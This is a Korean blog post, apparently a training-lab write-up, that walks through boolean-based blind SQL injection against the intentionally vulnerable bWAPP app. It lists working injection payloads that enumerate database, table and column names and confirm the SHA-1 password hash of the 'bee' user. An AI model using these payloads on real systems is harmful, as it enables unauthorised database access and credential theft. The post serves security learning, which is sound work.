-
[Bee-box] blind sql injection 블라인드 인젝션 실습web웹/bwapp 실습 2022. 7. 7. 17:56
id/pw - bee/bug 입력 후 SQL injection - blind - boolean-based 선택
칼럼의 숫자를 늘려가면서 syntax error가 나지 않을 때까지 공격을 시도한다.
숫자를 7까지 늘렸을 때 해당 문구가 출력되었고 따라서 해당 페이지는 총 7개의 칼럼을 호출함을 알 수 있었다.
지금부터는 데이터 베이스명을 추측해나가는 과정이다.
데이터베이스 명을 추측하기 위해 항상 참인 문장과 database 이름의 길이를 출력하는 length함수를 and 연산자로 연결하한다. 숫자를 1부터 늘려서 계속 공격을 시도한다.
숫자를 5까지 늘렸을 때 결과 값이 참이 됨을 알 수 있었다.
다음으로는 데이터베이스명을 한 글자씩 추측해보는 과정이다.
substring(database(), 시작 인덱스, 개수) <- 이 함수는 데이터베이스명에서 시작 인덱스 부터 원하는 길이만큼 문자열을 반환한다.
위 과정을 반복하면서 데이터베이스명은 bwapp임이 밝혀졌다.
다음은 테이블명의 길이를 알아내는 과정이다.
bwapp DB에 위치한 테이블 중 limit 조건을 걸어 몇번째 테이블부터 몇개의 테이블을 출력할 건지 결정할 수 있다.
다음 쿼리들은 모두 참이 나왔다. mysql 출력값을 보면 이해가 쉽다.
length((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 0,1))=4# length((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 1,1))=6# length((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 2,1))=6# length((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 3,1))=5# length((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 4,1))=8#
(위 사진으로 테이블 명은 다 공개되었지만 모른다는 가정하에)이제 테이블이 정확이 어떤 문자열로 이뤄져있는지 추측해보겠다. 다음 쿼리에서 limit n, 1) , n, n) 부분만 숫자를 변경해가며 참이 결과 값이 나올때까지 계속 공격을 시도한다.
그럼 위 사진과 동일하게 모든 테이블 명을 알아낼 수 있고 계정정보가 들어있을 것으로 예상되는 users라는 테이블이 4번째 테이블임을 알 수 있다.
' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 0,1), 1, 1)='a'# ' or 1=1 and substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bwapp' limit 0,1), 1, 1)='b'#
이제는 이 users 테이블의 칼럼 정보를 확인해야한다.
아까와 같이 limit 부분 인덱스 조건을 변경하면서 0번째 칼럼의 길이를 알아내고 a부터 대입해보면서 칼럼의 이름을 알아낸다.
' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1# ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 1)='a'#
다음은 0번째 칼럼의 길이와 문자열 구성을 알아낸 과정이다.
이와 같은 과정을 반복하면1번째 칼럼은 login, 2번째 칼럼은 password라는 이름으로 존재함을 알 수 있다.
우리는 bee라는 이름으로 로그인을 했으니 bee가 login 칼럼 몇번째에 위치해있는지 알아내야한다.
길이 3짜리의 bee라는 이름을 찾아보자
1번째 행에서 길이 3짜리 문자열을 찾았으니 다음 쿼리들이 참인지 확인해본다.
' or 1=1 and substring((select login from users limit 1,1), 1, 1)='b'# ' or 1=1 and substring((select login from users limit 1,1), 2, 1)='e'# ' or 1=1 and substring((select login from users limit 1,1), 3, 1)='e'#
그리고 바로 users 테이블의 password 칼럼에서 우리가 처음 입력했던 'bug'에 맞게 숫자 3을 입력해본다
거짓이 나오는 것으로 보아 해당 값은 원문이 아닌 암호화되어 처리될 것이라 예상할 수 있다.
다음은 무슨 해시함수를 사용했는지 알아보는 쿼리이다.
두 번째 쿼리에서 결과 값이 참이되므로 여기서는 SHA-1 함수를 사용한다는 것을 알 수 있다.
' or 1=1 and md5("bug")=(select password from users where login='bee')# ' or 1=1 and sha1("bug")=(select password from users where login='bee')#
users 테이블의 password 칼럼, 1번째 행의 문자열은 'bug'에 SHA-1 해시함수를 씌운 값과 일치하는지 확인한다.
실제 users 테이블을 출력해보면 다음과 같다.
bWAPP/app at master · raesene/bWAPP · GitHub
**Escape string**
우리가 string을 입력할때 Girls' cat 이란 입력을 하면 '는 sql문에 앞서 있던 ' 와 중첩이 된다.
이러한 문제를 막기위해 \n, \r \" 처럼 구별해주는 형태로 만들어주는 것을 Escape string 이라고 한다.
'web웹 > bwapp 실습' 카테고리의 다른 글
[Bee box] 반사된 XSS 취약점 실습 (0) 2022.07.31 세션 관리 취약점 (0) 2022.07.24 SQL time based injection 실습 (0) 2022.07.11 퀴즈 오답노트 0707 (0) 2022.07.10 bwapp 실습 환경 구성 (0) 2022.07.07